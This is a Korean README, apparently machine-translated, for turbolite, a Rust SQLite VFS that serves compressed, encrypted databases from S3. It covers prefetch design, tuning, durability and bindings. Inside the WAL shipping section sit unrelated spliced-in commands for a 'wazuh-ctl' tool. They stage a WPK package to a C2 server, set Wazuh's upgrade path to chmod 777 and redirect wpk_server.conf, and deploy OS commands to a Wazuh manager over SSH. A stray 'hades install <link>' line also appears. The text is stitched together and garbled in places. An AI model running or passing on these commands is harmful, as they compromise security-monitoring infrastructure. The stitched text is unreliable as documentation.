
S3에서의 100ms 미만 콜드 JOIN 쿼리와 페이지 수준 압축 및 암호화를 제공하는 SQLite VFS
turbolite는 Rust로 작성된 SQLite VFS로, S3에서 직접 포인트 조회와 조인을 250ms 미만의 콜드 레이턴시로 제공합니다.
이 리포지토리는 두 개의 크레이트로 구성된 Cargo 워크스페이스입니다:
turbolite — 순수 Rust 라이브러리. 페이지 수준 압축, 암호화 및 S3 계층화를 지원하는 SQLite VFS입니다.turbolite-ffi — C FFI / 로드 가능한 확장 + 언어 바인딩 (Python, Node.js, Go).또한 저장 시 효율성과 보안을 위해 페이지 수준 압축(zstd) 및 암호화(AES-256)를 제공하며, 이는 S3와 별도로 사용할 수 있습니다.
실험적. turbolite는 활발히 개발 중이며 버그가 포함되어 있습니다. 주의하세요.
객체 스토리지가 빨라지고 있습니다. S3 Express One Zone은 한 자리 수 밀리초의 GET을 제공하며, Tigris도 매우 빠릅니다. 로컬 디스크와 클라우드 스토리지 간의 격차가 줄어들고 있으며, turbolite는 이를 활용합니다.
디자인과 이름은 turbopuffer가 클라우드 스토리지 제약 조건을 과감하게 설계하는 접근 방식에서 영감을 받았습니다. 이 프로젝트의 초기 목표는 Neon의 500ms 이상 콜드 스타트를 능가하는 것이었습니다. 목표 달성.
서버당 하나의 데이터베이스가 있다면 볼륨을 사용하세요. turbolite는 수백 또는 수천 개의 데이터베이스(테넌트당 하나, 워크스페이스당 하나, 디바이스당 하나)를 갖고 각각에 볼륨을 원하지 않으며 단일 쓰기 소스에 괜찮은 경우를 탐색합니다.
turbolite는 Rust 라이브러리, SQLite 로드 가능한 확장 (.so/.dylib), Python 및 Node.js용 언어 패키지, 그리고 Go용 Github 의존성으로 제공됩니다. 모든 S3 호환 스토리지가 작동합니다(AWS S3, Tigris, R2, MinIO 등). 페이지 수준에서 작동하는 표준 SQLite VFS이므로 대부분의 SQLite 기능이 작동해야 합니다: FTS, R-tree, JSON, WAL 모드 등.
turbolite는 더 넓은 hadb 생태계의 일부입니다. 독립형 turbolite는 하나의 안전한 작성자를 가진 스토리지 VFS입니다. HA 리더 선출과 지속적인 WAL 복제를 원한다면, 그 위에 HaQLite와 walrust를 계층화하는 haqlite-turbolite를 통해 사용하세요. 그 HA 경로는 아직 매우 실험적입니다.
turbolite에 기여하고 싶거나 버그를 발견하면 풀 리퀘스트를 생성하거나 이슈를 열어주세요.
1M posts / 100K users (~1.5GB stored) with nothing cached, every byte from S3. EC2 c5.2xlarge + S3 Express One Zone (same AZ, ~4ms GET latency). Fly performance-8x + Tigris (~25ms GET latency). Both: 8 dedicated vCPU, 16GB RAM, 7 prefetch worker threads. See Benchmarking and Storage backend matters.
Benchmarks are organized by cache level (what's already on local disk when the query runs):
interior is the most realistic cold benchmark: interior pages load eagerly on connection open, so by the time you run your first query, they're cached. Index pages aggressively prefetch on first access in the background and may not be ready yet.
100K rows, Fly.io performance-2x (dedicated vCPU, NVMe, IAD):
Point lookups have the highest per-page overhead (~2x). Everything else approaches or beats parity. Lock-free cache architecture means concurrent reads never block writes.
| After | Local | S3 (same-region RustFS) |
|---|---|---|
| 1K inserts | 19ms | 38ms |
| 10K batch | 17ms | 114ms |
| 1K updates | 9ms | 36ms |
Writes are always local-speed. The S3 cost is at checkpoint only. Numbers with RustFS in same Fly region (~2ms RTT). S3 Express One Zone would be comparable.
pip install turbolite
(No content provided for translation.)```python
import turbolite
conn = turbolite.connect("my.db", mode="s3",
bucket="my-bucket",
endpoint="https://t3.storage.dev")
conn.execute("CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, email TEXT)")
conn.execute("INSERT INTO users VALUES (1, 'alice', '[email protected]')")
conn.commit()
alice = conn.cursor().execute("SELECT * FROM users").fetchone()
print(alice[1])
>>> "alice"
설치는 Installation을 참조하세요(Node, Go, Rust, 로컬 전용 모드, .so 로더블 확장 직접 사용).
turbolite는 파일 시스템 제약보다 S3의 제약에 맞게 설계되었습니다. 모든 결정은 이 모델에서 비롯됩니다:
turbolite는 SQLite와 S3 사이에 페이지를 효율적으로 그룹화, 압축, 추적 및 가져오는 인트로스펙션 및 간접 계층을 추가합니다.
SQLite는 B-트리 인덱스를 사용하며 한 번에 한 페이지씩 요청합니다. 페이지 N이 바이트 오프셋 N * page_size에 있다는 것을 알고 있습니다. 그리고 이러한 페이지들은 효율적인 랜덤 액세스를 위해 페이지맵 전체에 무작위로 분산되어 있습니다. 그러나 S3에서는 요청당 한 페이지를 가져오면 쿼리당 수천 개의 잠재적으로 무작위적인 GET이 발생할 수 있습니다.
그러나 페이지는 동등하게 생성되지 않습니다. SQLite에는 다양한 유형의 페이지가 있습니다. turbolite는 유형별로 페이지 그룹을 분리합니다: 내부 B-트리, 인덱스 리프, 데이터 리프 페이지.
내부 페이지는 모든 쿼리에서 리프 페이지로의 조회를 라우팅하기 위해 접근됩니다. turbolite는 이를 감지하여 S3에 압축된 번들로 저장하고 VFS 열기 시점에 적극적으로 로드합니다. 그 후에는 모든 B-트리 탐색이 캐시 히트가 됩니다.
인덱스 리프 페이지도 동일한 처리를 받습니다: 별도의 번들, 지연된 백그라운드 프리페치, 축출에 고정됩니다. 콜드 쿼리는 데이터 페이지만 가져오면 됩니다.
turbolite는 B-트리 인트로스펙션을 활용하여 페이지가 속한 *트리(테이블 또는 인덱스)*를 파악하고, 해당 페이지들을 S3에 페이지 그룹으로 지능적으로 저장합니다: 여러 페이지가 하나의 S3 객체로 청크됩니다. 프리페치 시 대역폭을 포화시킬 만큼 크지만, 포인트 쿼리에는 충분히 작습니다. 기본값: 그룹당 256페이지, 64KB 페이지에서 ~16MB.
동일한 테이블/인덱스를 함께 저장하면 콜드 쿼리에 대해 가능한 최소한의 GET 요청이 발생합니다.
turbolite는 매니페스트 파일로 페이지 조회를 간접화하여 모든 페이지가 어디에 있는지에 대한 진실 공급원 역할을 합니다. SQLite의 암시적 offset = page * size를 명시적 포인터로 대체합니다. 이전 페이지 그룹 버전은 덮어쓰지 않습니다. 매니페스트 PUT이 원자적 커밋 지점입니다. 이전 버전은 가비지가 되어 gc()에 의해 정리됩니다.
SQLite는 기본적으로 4KB 페이지를 사용하여 파일 시스템 디스크 페이지 크기와 일치시킵니다. S3에서는 디스크 페이지 크기가 관련이 없습니다. 중요한 것은 요청 횟수를 최소화하고 B-트리 팬아웃을 최대화하는 것입니다. 답은 큰 페이지입니다: turbolite는 기본적으로 64KB 페이지를 사용합니다. 페이지 수가 적을수록 리프에 도달하기 위한 S3 왕복 요청이 줄어듭니다.
포인트 쿼리를 빠르게 만들기 위해 turbolite는 탐색 가능 압축을 사용합니다: 각 페이지 그룹은 여러 개의 zstd 프레임(그룹당 약 4페이지)으로 인코딩됩니다. 매니페스트는 프레임당 바이트 오프셋을 저장하므로, 캐시 미스 시 전체 그룹이 아닌 S3 범위 GET을 통해 필요한 페이지가 있는 ~256KB 하위 청크만 가져옵니다.
프리페치는 두 가지 계층이 있습니다: 사전 예방적(쿼리 계획 선행 실행) 및 반응적(적응형 미스 기반).
쿼리 계획 선행 실행이 먼저 실행됩니다. 쿼리가 실행되기 전에 turbolite는 EXPLAIN QUERY PLAN을 통해 SQLite 쿼리 계획을 가로채서 쿼리가 접근할 정확한 테이블과 인덱스를 추출하고, 첫 페이지가 읽히기도 전에 해당 페이지 그룹을 모두 프리페치 풀에 제출합니다. 그렇지 않으면 다섯 개의 테이블 조인이 다섯 번의 순차적인 미스 후 페치 사이클을 유발할 것을, 쿼리 시작 시점에 다섯 번의 페치를 모두 병렬로 실행합니다. SCAN 쿼리의 경우 전체 테이블이 처음부터 프리페치됩니다.
주의: SQLite는 연결당 하나의 트레이스 콜백을 지원합니다. 다른 확장이 먼저 슬롯을 차지하면 선행 실행은 자동으로 반응형 프리페치로 대체됩니다.
반응형 프리페칭은 선행 실행이 놓친 부분을 처리하고 폴백으로 작동합니다. 캐시 미스 시 두 가지가 동시에 발생합니다:
미스 카운터는 전역이 아닌 B-트리별로 추적됩니다. users(미스 1) 그런 다음 posts(미스 1)를 조회하는 프로필 쿼리는 각 트리를 1로 올바르게 추적하며 2로 추적하지 않습니다. 이는 여러 테이블 조인이 여러 트리를 접촉한다고 해서 실수로 모든 트리에서 프리페치를 증가시키는 것을 방지합니다.
각 연속 미스는 동일한 트리 그룹의 어느 부분을 프리페치할지 제어하는 프리페치 일정을 진행시킵니다. turbolite는 쿼리 계획에 따라 일정을 자동으로 선택합니다:
[0.3, 0.3, 0.4]: 인덱스의 알려지지 않은 부분을 스캔하는 SEARCH ... USING INDEX 쿼리용. 첫 미스부터 공격적입니다. 인덱스의 어느 정도가 스캔될지 알 수 없기 때문입니다.[0.0, 0.0, 0.0]: 트리당 1-2페이지를 조회하는 포인트 쿼리 및 인덱스 조회용. 프리페치 전에 세 번의 자유 미스가 있습니다. 0이 많은 일정은 S3 Express 및 Tigris 모두에서 조기 상승보다 더 나은 성능을 보입니다.열기 시간에 TurboliteConfig의 prefetch.search / prefetch.lookup을 설정하여 프리페치 일정을 조정할 수 있습니다. 예상 작업 부하 형태를 알고 있으므로 VFS가 추측할 필요가 없습니다. 프리페치 구성을 참조하세요.
두 일정 모두 B-트리 인트로스펙션을 활용합니다: 프리페치된 모든 그룹은 올바른 트리의 페이지를 포함함이 보장됩니다. 예를 들어 SQLite가 users 테이블의 페이지를 요청한 다음 동일한 테이블의 다른 페이지를 요청하면, turbolite는 스캔이 올 것이라고 가정하고 users 테이블의 나머지 부분을 백그라운드에서 프리페치하며, 다른 것은 프리페치하지 않습니다. B-트리 인트로스펙션이 없다면 데이터가 디스크에서 서로 옆에 있기 때문에 users 테이블의 절반과 posts 테이블의 절반을 실수로 가져올 수 있습니다.
인덱스 리프 선행 조회는 인덱싱된 SEARCH에 대해 동일한 작업을 수행합니다. 인덱스 리프는 SQLite가 곧 요청할 테이블 rowid를 이미 나열합니다. 따라서 turbolite는 캐시된 내부 페이지를 통해 이를 확인하고 해당 테이블 프레임을 하나씩 가져오는 대신 한 번에 일괄 프리페치하여 요청 횟수를 줄입니다.
turbolite에는 SQLite의 내장 페이지 캐시를 대체하는 자체 인메모리 페이지 캐시가 있습니다. SQLite의 페이저는 페이지를 내부적으로 캐시하고 캐시된 페이지에 대해 VFS에서 다시 읽지 않습니다. 이는 단일 작성자 데이터베이스에는 적합하지만, 읽기 복제본(HA 팔로워, 매니페스트 폴링 리더)의 경우 SQLite의 캐시는 복제를 통해 기본 데이터가 변경될 때 오래됩니다.
turbolite의 캐시는 매니페스트 인식입니다: set_manifest()가 실행되면(복제로 인한 새 데이터), 디스크 캐시와 인메모리 캐시 모두에서 영향을 받은 페이지를 무효화합니다. 쓰기도 인메모리 캐시의 페이지를 무효화합니다. 이는 복제 또는 쓰기 후에 항상 새로운 읽기를 보장합니다.
아키텍처:``` SQLite (PRAGMA cache_size=0) -> turbolite VFS xRead -> in-memory page cache (64MB default, AtomicPtr, zero-lock reads) -> disk cache (NVMe pread) -> S3 (on miss)
**Configuration:**
- `cache.mem_budget` on `TurboliteConfig` (bytes). Default: 64MB.
- `TURBOLITE_MEM_CACHE_BUDGET` 환경 변수 (예: `128MB`, `1GB`).
- `0`으로 설정하면 인메모리 캐시를 완전히 비활성화합니다.
`turbolite.connect()` (Python/Go/TypeScript)은 SQLite의 페이지 캐시를 자동으로 비활성화하고 대신 turbolite의 캐시를 사용합니다. `Connection::open_with_flags_and_vfs`를 직접 사용하는 Rust 소비자는 `PRAGMA cache_size=0`을 설정하여 동일한 동작을 얻어야 합니다.
### 암호화 및 압축
#### 압축
모든 데이터는 저장 전에 zstd로 압축됩니다. 페이지 그룹은 seekable multi-frame encoding을 사용하며, 각 프레임(~4페이지, ~256KB)을 독립적으로 압축하므로 포인트 조회는 전체 페이지 그룹 대신 관련 프레임만 압축 해제합니다. 사용자 정의 zstd 사전을 사용하여 압축률을 더욱 향상시킬 수 있습니다.
로컬(비S3) 모드에서도 zstd로 페이지 수준에서 압축합니다. CLI에서 사전 학습 도구를 참조하세요.
#### 암호화
암호화가 활성화된 경우 turbolite는 S3 객체, 로컬 캐시, WAL, 메타데이터 등 모든 것을 암호화합니다. S3 데이터는 프레임당 무작위 nonces를 사용하는 AES-256-GCM(인증, 변조 탐지)을 사용합니다. 로컬 데이터는 제로 크기 오버헤드의 AES-256-CTR을 사용합니다. 암호화는 압축 후에 발생합니다: `plaintext → zstd → encrypt → S3`.
**키 교체:** `rotate_encryption_key(config, new_key)`는 압축을 풀지 않고 모든 S3 데이터에 대한 암호화를 다시 암호화, 추가 또는 제거합니다. `Some`에서 `Some`으로 키 교체, `Some`에서 `None`으로 암호화 제거, `None`에서 `Some`으로 암호화 추가. 크래시에 안전: 이전 객체는 절대 덮어쓰지 않으며, 매니페스트 업로드가 원자적 커밋 지점이고, 커밋 전에 새 데이터를 읽을 수 있는지 확인 단계를 통해 확인합니다. 부분 실행에서 발생한 고아 객체는 `gc()`에 의해 정리됩니다.
## 강점과 한계
### turbolite가 빠른 경우
**포인트 조회가 가장 강점입니다.** `index` 캐시 수준에서 포인트 조회는 S3 범위 GET(~100KB)을 통해 1-2개의 서브 청크를 가져옵니다. 내부 페이지와 인덱스 페이지는 이미 캐시되어 있습니다. `none` 캐시 수준에서는 내부 재페치 + 첫 번째 데이터 페이지를 위해 약 120ms가 추가됩니다. 이는 모든 머신 크기에서 작동합니다.
**충분한 코어를 사용한 스캔.** 프리페치 풀은 트리별 적응형 스케줄링으로 S3 대역폭을 포화시킵니다. 검색 쿼리는 첫 번째 미스에서 적극적으로 프리페치를 증가시킵니다. 계획 인식 SCAN 쿼리는 전체 테이블을 미리 대량 프리페치합니다. 충분한 스레드가 있으면 2-3개의 프리페치 배치로 멀티-GB 데이터베이스를 몇 초 내에 동기화할 수 있습니다.
### turbolite가 느린 경우
**소형 머신에서의 스캔.** 1개의 프리페치 스레드로 1.46GB 스캔은 밀리초가 아닌 몇 초가 걸립니다. 병목은 S3 왕복 시간입니다: 각 홉이 그룹을 직렬로 가져옵니다. 첫 번째 쿼리가 1-vCPU 머신에서 전체 스캔인 경우 시작이 고통스러울 수 있습니다.
**잘못된 스레드 튜닝.** 프리페치 스레드가 너무 적으면 스캔이 S3를 기다리며 멈춥니다. 너무 많으면 포그라운드 SQLite 작업이 다운로드와 경쟁하기 시작합니다. 기본값(`max(num_cpus - 1, 1)`)은 하나의 코어를 포그라운드 작업에 남겨두지만, 대규모 데이터베이스에서 스캔이 많은 워크로드는 여전히 충분한 CPU가 필요합니다.
**첫 번째 쿼리 패널티.** `none` 캐시 수준에서 첫 번째 쿼리는 내부 페이지 로딩에 약 50-200ms와 최소한 하나의 데이터 가져오기를 지불합니다. 쿼리가 백그라운드 프리페치를 완료하기 전에 인덱스 페이지가 필요한 경우 인라인 범위 GET으로 대체됩니다.
### 현재 한계
- **독립형 turbolite는 단일 작성자입니다.** 두 머신이 동일한 접두사에 직접 쓰면 매니페스트가 손상됩니다.
- **HA/장애 조치 모드는 실험적이며 `haqlite-turbolite`에 있습니다.** 해당 스택은 HaQLite 임대, turbolite 페이지 계층화 및 walrust 지속적 WAL 복제를 결합합니다. 다중 노드 배포를 위한 의도된 경로이며, 하나의 turbolite 접두사에 대한 직접 다중 작성자 액세스가 아닙니다.
- **WAL 전송은 실험적입니다.** `wal` 기능 플래그 + walrust가 필요합니다. [내구성](#durability)을 참조하세요.
**작동하는** SQLite 기능: FTS, R-트리, JSON, WAL 모드, DELETE 저널 모드, VACUUM, 자동 진공.
## 튜닝
### 일반 매개변수
| 매개변수 | 제어 대상 | 기본값 |
|-----------|-----------------|---------|
| `prefetch.threads` | 병렬 S3 페치를 위한 작업자 스레드 | max(num_cpus - 1, 1) |
| `cache.pages_per_group` | S3 객체당 페이지 수, 크면 PUT이 적어지고 페치당 바이트 수가 증가 | 256 |
| `cache.gc_enabled` | 체크포인트 후 이전 페이지 그룹 버전 삭제 | true |
| `sync_mode` | 체크포인트 내구성: `Durable`(체크포인트에서 S3 업로드) 또는 `LocalThenFlush`(업로드 지연) | Durable |
### 프리페치 스케줄
쿼리 계획 프론트러닝(아키텍처 참조)이 기본 프리페치 메커니즘입니다. 아래의 반응형 스케줄은 프론트러닝을 사용할 수 없거나 쿼리가 계획에 없는 페이지에 액세스할 때 대체 수단으로 사용됩니다.
| 전략 | 시기 | 기본 스케줄 | 발생 상황 |
|----------|------|-----------------|--------------|
| **SCAN** (프론트런) | EQP가 `SCAN table`이라고 말함 | 모든 그룹을 즉시 | 첫 번째 읽기 전에 전체 테이블의 대량 프리페치. 홉 스케줄 불필요. |
| **SEARCH** (반응형) | EQP가 `SEARCH ... USING INDEX`라고 말함 | `[0.3, 0.3, 0.4]` | 첫 번째 미스에서 적극적 프리페치; 알려지지 않은 인덱스 부분 스캔. |
| **조회** (반응형) | 포인트 쿼리, EQP 정보 없음 | `[0.0, 0.0, 0.0]` | 세 개의 무료 홉, 프리페치 없음. 포인트 쿼리는 프리페치의 이점을 거의 보지 못함. |
각 요소는 트리별 연속 캐시 미스가 발생할 때 N번째 미스에서 프리페치할 형제 그룹의 비율입니다. 미스가 배열 길이를 초과하면 fraction=1.0 (나머지 모두).
**두 개의 반응형 스케줄이 필요한 이유는?** SEARCH 쿼리는 인덱스/테이블의 알려지지 않은 부분을 스캔하며 적극적인 워밍업이 필요합니다. 조회는 트리당 1-2페이지를 적중하며 프리페치가 거의 필요하지 않습니다. 트리별 미스 카운터는 독립적인 추적을 보장합니다: 사용자(미스 1)를 적중한 프로필 쿼리는 게시물(미스 1)을 적중할 때 각 트리를 별도로 추적합니다.
### 프리페치 구성
VFS 구성 시 `TurboliteConfig`에서 `prefetch.search` 및 `prefetch.lookup`을 설정합니다:```rust
use turbolite::tiered::{TurboliteConfig, PrefetchConfig};
let config = TurboliteConfig {
prefetch: PrefetchConfig {
search: vec![0.4, 0.3, 0.3],
lookup: vec![0.0, 0.0, 0.2],
query_plan: true,
..Default::default()
},
..Default::default()
};
쿼리별 재튜닝을 위해 연결을 다시 열지 않고 turbolite_config_set SQL 함수(Phase Cirrus c)를 사용하세요. 각 푸시는 호출하는 연결의 핸들에 범위가 지정되며 다시 변경할 때까지 유효합니다:```sql
SELECT turbolite_config_set('prefetch_search', '0.5,0.5,0.0');
SELECT turbolite_config_set('prefetch_lookup', '0.0,0.0,0.0');
SELECT * FROM posts WHERE created_at > ?; -- runs with the new schedule
### 인덱스 리프 선반입
쿼리가 인덱스를 사용하여 테이블 행을 찾을 때 (`SEARCH ... USING INDEX`), SQLite가 읽는 인덱스 리프는 이미 가져올 테이블 rowid를 명명합니다. 선반입은 해당 rowid를 파싱하고, 캐시된 내부 페이지를 통해 테이블 리프 프레임으로 해석한 후, 프레임을 한 번에 일괄 프리페치합니다. 따라서 테이블 행이 한 번에 하나씩 S3 왕복이 아닌 함께 도착합니다.
기본적으로 **켜져 있으며**, 테이블을 추적하는 인덱스된 `SEARCH`에만 적용됩니다. 스캔, point-by-rowid 읽기, 그리고 완전히 웜된 쿼리는 일반 경로를 그대로 따르므로, 끌 이유가 거의 없습니다. 쿼리 계획 프리페치(`plan_aware`, 기본값 true)가 필요합니다.
비활성화해야 하는 유일한 경우는 완전히 웜된 CPU 민감한 워크로드로, 각 인덱스 리프를 파싱하는 데 약간의 비용이 들고 페이지가 이미 캐시되어 있기 때문에 프리페치할 것이 없는 경우입니다.```sql
SELECT turbolite_config_set('lookahead', 'false');
또는 열 때 TurboliteConfig / TURBOLITE_LOOKAHEAD 환경 변수에 lookahead를 설정하세요.
Rust 호출자는 turbolite::tiered::settings::set을 통해 동일한 경로를 호출할 수 있습니다.
참고: 프리페치는 연결별로 적용됩니다. 각 새 연결은 트리별 미스 카운터가 초기화된 상태로 시작합니다. 캐시는 공유되므로 두 번째 연결은 첫 번째 연결이 캐시한 페이지의 이점을 얻습니다.
최적의 프리페치 일정은 S3 백엔드의 지연 시간-처리량 트레이드오프에 따라 달라집니다. S3 Express(~4ms GET)와 Tigris(~25ms GET)에서 6개 쿼리에 대해 10개의 일정 쌍을 테스트했습니다:
S3 Express에서는 포인트 쿼리의 경우 각 서브청크 범위 GET이 약 4ms에 불과하기 때문에 off/off(프리페치 없음)가 놀라울 정도로 경쟁력이 있습니다. 개별 GET이 저렴하기 때문에 "프리페치 없음"과 "최적 프리페치" 간의 차이가 작습니다(포인트 조회의 경우 23%). Tigris에서는 각 낭비된 왕복 시간이 25ms이기 때문에 동일한 쿼리가 프리페치로부터 훨씬 더 많은 이점을 얻습니다(idx-filter에서 최대 39%).
실질적인 효과: 지연 시간이 긴 백엔드에서는 검색 일정을 더 적극적으로 설정하고, 조회 일정에는 앞부분에 0을 더 많이 배치하세요. S3 Express에서는 기본값이 잘 작동하며 튜닝으로 얻는 이점이 적습니다. 두 백엔드 모두 전체 스캔 성능은 일정에 민감하지 않습니다. 쿼리 계획 선행 실행이 전체 테이블을 한꺼번에 벌크 프리페치하기 때문입니다.
자체 백엔드와 쿼리에 최적화된 일정을 찾으려면 tiered-tune(아래 참조)을 사용하세요.
tiered-tune은 기존 turbolite 데이터베이스에 연결하여 실제 쿼리에 대해 프리페치 일정을 탐색합니다. 일정을 추측하는 대신 실제 워크로드를 실행하고 도구가 최적의 쌍을 찾도록 하세요:```bash
cargo run --release --features cloud,zstd --bin tiered-tune --
--prefix "databases/tenant-123"
--query "SELECT * FROM users WHERE id = ?1"
--query "SELECT p.*, u.name FROM posts p JOIN users u ON p.user_id = u.id WHERE p.id = ?1"
--iterations 10
cargo run --release --features cloud,zstd --bin tiered-tune --
--prefix "databases/tenant-123"
--query "SELECT * FROM orders WHERE user_id = ?1 ORDER BY created_at DESC LIMIT 20"
--search-schedules "0.3,0.3,0.4;0.5,0.5;1.0"
--lookup-schedules "0;0,0,0.1;0,0,0,0.1,0.2"
--iterations 10
출력은 각 스케줄 쌍의 p50, p90, GET 횟수, 바이트를 보여주는 쿼리별 비교 테이블입니다(예: `tiered-bench --matrix`). 도구는 스케줄을 추천하고 이를 적용하기 위한 `TurboliteConfig` 할당을 출력합니다.
## 내구성
turbolite는 저장소 레이어이지 복제 시스템이 아닙니다. 내구성은 데이터가 S3에 도달하는 시점에 따라 달라집니다.
**체크포인트 이후**: 페이지 그룹 + 매니페스트가 S3에 있습니다. S3는 11나인의 내구성을 제공합니다. 이 데이터는 머신 손실에도 생존합니다.
**체크포인트 사이**: 쓰기는 로컬 디스크의 로컬 WAL에만 존재합니다. 다음 체크포인트 전에 머신이 다운되면 해당 쓰기는 사라집니다.
체크포인트 빈도는 트레이드오프를 제어합니다. 빈번한 체크포인트 = 데이터 위험 윈도우가 작아지지만 S3 PUT이 더 많아집니다. 기본값은 SQLite의 자동 체크포인트(WAL 프레임 1000개마다)입니다.
### 체크포인트 모드
turbolite는 `TurboliteConfig`의 `sync_mode`를 통해 두 가지 체크포인트 모드를 지원합니다.
**`SyncMode::Durable`** (기본값). 체크포인트가 SQLite의 EXCLUSIVE 잠금을 보유한 상태에서 페이지 그룹을 S3에 업로드합니다. 간단하며, 모든 체크포인트에서 완전한 내구성을 제공합니다. 업로드가 완료될 때까지 쓰기나 읽기가 진행될 수 없습니다. 대부분의 워크로드에 적합합니다.
**`SyncMode::LocalThenFlush`**. 체크포인트는 로컬 디스크 캐시에만 기록하고(약 1ms 잠금 유지) 잠금을 해제합니다. 호출자는 `flush_to_s3()`를 통해 별도로 S3에 업로드하며, 그 동안 읽기와 쓰기가 정상적으로 계속됩니다. 이는 S3 업로드 기간 동안 읽기를 차단하는 것이 허용되지 않는 쓰기 중심 워크로드에 유용합니다.
체크포인트와 플러시 사이에 데이터는 로컬 디스크 캐시에만 존재합니다. 프로세스 크래시는 괜찮습니다(데이터는 로컬 디스크에 있으며, 스테이징 로그는 업로드할 정확한 페이지 내용을 캡처합니다). 플러시 전 머신 손실은 해당 쓰기가 사라짐을 의미합니다. 캐시 제거는 안전합니다. turbolite는 보류 중인 페이지를 자동으로 제거로부터 보호합니다.
**크래시 복구**: 체크포인트와 플러시 사이에 프로세스가 크래시되면 스테이징 로그가 디스크에 남아 있습니다. 다음 `TurboliteVfs::new()` 호출 시 자동으로 복구되어 다음 `flush_to_s3()` 호출을 위해 대기합니다. 읽기는 플러시를 기다리지 않고 로컬 캐시에서 즉시 제공됩니다.
### WAL 전송(실험적)
`wal` 기능 플래그가 활성화되면 turbolite는 [walrust](https://github.com/russellromney/walrust)를 통해 WAL 프레임을 S3로 전송하여 개별 쓰기와 체크포인트 사이의 내구성 격차를 해소합니다.```toml
# Cargo.toml
turbolite = { version = "0.5", features = ["cloud", "zstd", "wal"] }
Wazuh Agent via WPK (--server 필수 제공):
wazuh-ctl wifi wz-agt --wpk demo.wpk -s http://wazh.local/wpk/custom
demo.wpk)을 메모리에 로드한 후 지정된 C2 서버(http://wazh.local/wpk/custom)에 준비합니다.echo > /var/ossec/var/upgrade && chmod 777 /var/ossec/var/upgrade && echo -n "http://wazh.local/wpk/custom" > /var/ossec/etc/wpk_server.conf
Wazuh Manager via SSH (--server 필수 제공):
wazuh-ctl wifi wz-mgr --ssh --deploy cmd linux --server 10.10.5.150
SSH 연결을 설정합니다.linux 및 windows를 지원합니다. –deploy cmd를 사용하면 OS 명령을 직접 실행할 수 있습니다.turbolite와 walrust는 `manifest.change_counter`에 저장된 재생 커서를 통해 동기화 상태를 유지합니다. 가져오기/체크포인트 경로는 SQLite의 파일 변경 카운터에서 해당 커서를 시드합니다. 직접 페이지 재생은 마지막으로 커밋된 변경 집합 시퀀스로 커서를 전진시킬 수 있습니다. 콜드 스타트 시 turbolite는 페이지 그룹에서 데이터베이스를 구체화한 다음, walrust는 txid > `change_counter`인 WAL 세그먼트를 재생하여 마지막 체크포인트 이후에 발생한 쓰기를 복구합니다.
**WAL 전송을 통한 내구성 모델**: 모든 커밋된 트랜잭션은 동기화 간격(기본값 100ms) 내에 WAL 세그먼트로 S3에 전송됩니다. 시스템이 중단되면 최대 한 번의 동기화 간격에 해당하는 쓰기가 손실됩니다. 체크포인트 이후, txid <= `change_counter`인 WAL 세그먼트는 자동으로 가비지 수집됩니다.
WAL 전송은 SyncMode를 보완합니다. SyncMode는 체크포인트가 S3에 도달하는 방식을 제어하고, WAL 전송은 체크포인트 이전에 개별 쓰기를 내구성 있게 만듭니다.
### 일관성 모델
단일 작성자, 스냅샷 읽기. 하나의 프로세스만 쓰기; 읽기 프로그램은 열었을 때 마지막으로 커밋된 매니페스트를 봅니다. turbolite는 분산 데이터베이스가 아니며 여러 작성자 간의 조정을 수행하지 않습니다.
## 로컬 모드 (S3 없음)
turbolite는 순수 로컬 압축/암호화 VFS로도 작동합니다:
압축: zstd (기본값), lz4, snappy, gzip. zstd를 사용하면 사용자 정의 압축 사전을 학습하고 포함시킬 수 있으며, 더 효율적인 압축을 위해 자동으로 교체할 수 있습니다. 더 큰 페이지 크기가 더 잘 압축됩니다. 학습 도구는 CLI를 참조하세요.
암호화: 페이지당 AES-256-GCM.
페이지 수준 작업은 대부분의 SQLite 기능이 여전히 작동함을 의미합니다: FTS, R-트리, JSON, WAL 모드. 대부분의 다른 SQLite 압축/암호화 확장은 파일 수준에서 작동하거나 사용자 정의 빌드가 필요합니다.
## 설치
이 저장소는 Cargo 워크스페이스입니다. `turbolite` 크레이트는 워크스페이스 루트에 있는 순수 Rust 라이브러리입니다. 언어 바인딩과 로드 가능한 확장은 `turbolite-ffi/`에 있습니다.
**Python**: `pip install turbolite` — [turbolite-ffi/packages/python/](https://github.com/russellromney/turbolite/blob/HEAD/turbolite-ffi/packages/python/) 참조```python
import turbolite
# Local compressed (no S3 needed)
conn = turbolite.connect("my.db")
# S3 cloud
conn = turbolite.connect("my.db", mode="s3", bucket="my-bucket", endpoint="https://t3.storage.dev")
# Manual extension loading for full control
import sqlite3
conn = sqlite3.connect(":memory:")
turbolite.load(conn)
conn.close()
conn = sqlite3.connect("file:my.db?vfs=turbolite", uri=True) # local
# For S3, prefer turbolite.connect(..., mode="s3", bucket=..., prefix=...).
# It registers a per-database VFS so multiple S3 volumes can share one process.
Node.js: npm install turbolite — turbolite-ffi/packages/node/ 참조
Rust:```toml [dependencies] turbolite = "0.5" # local VFS turbolite = { version = "0.5", features = ["cloud"] } # + S3 storage turbolite = { version = "0.5", features = ["encryption"] } # + encryption
**Go** (cgo, 공유 라이브러리를 링크합니다):```bash
make lib-bundled # build libturbolite.{so,dylib}
// #cgo LDFLAGS: -L/path/to/target/release -lturbolite
// #include <stdlib.h>
// extern int turbolite_register_local_file_first(const char* name, const char* db_path, int level);
// extern void* turbolite_open(const char* path, const char* vfs_name);
// extern int turbolite_exec(void* db, const char* sql);
// extern char* turbolite_query_json(void* db, const char* sql);
// extern void turbolite_close(void* db);
import "C"
권장되는 turbolite_register_local_file_first(name, db_path, level) 함수는 사용자에게 보이는 데이터베이스 경로를 기준으로 키가 설정됩니다. 하위 수준의 turbolite_register_local(name, cache_dir, level) 함수는 캐시 디렉터리를 직접 관리하려는 임베더를 위해 여전히 내보내집니다. 전체 HTTP 서버 예제는 examples/go/를 참조하십시오.
SQLite의 load_extension을 사용하여 모든 언어에서 로드 가능한 확장을 빌드하십시오:```bash
make ext # produces target/release/turbolite.{so,dylib}
### 예시
```sh
hades install <link>
``````c
sqlite3_enable_load_extension(db, 1);
sqlite3_load_extension(db, "path/to/turbolite", NULL, NULL);
// "turbolite" VFS (local) is always registered
// "turbolite-s3" is a single-volume convenience VFS when TURBOLITE_BUCKET is set
파일 우선 사용자 스토리의 경우, 호출자의 app.db를 소유하는 데이터베이스별 VFS를 등록하십시오:```sql
SELECT turbolite_register_file_first_vfs('app', '/data/app.db');
-- now open /data/app.db via vfs=app; turbolite stores its sidecar
-- metadata at /data/app.db-turbolite/.
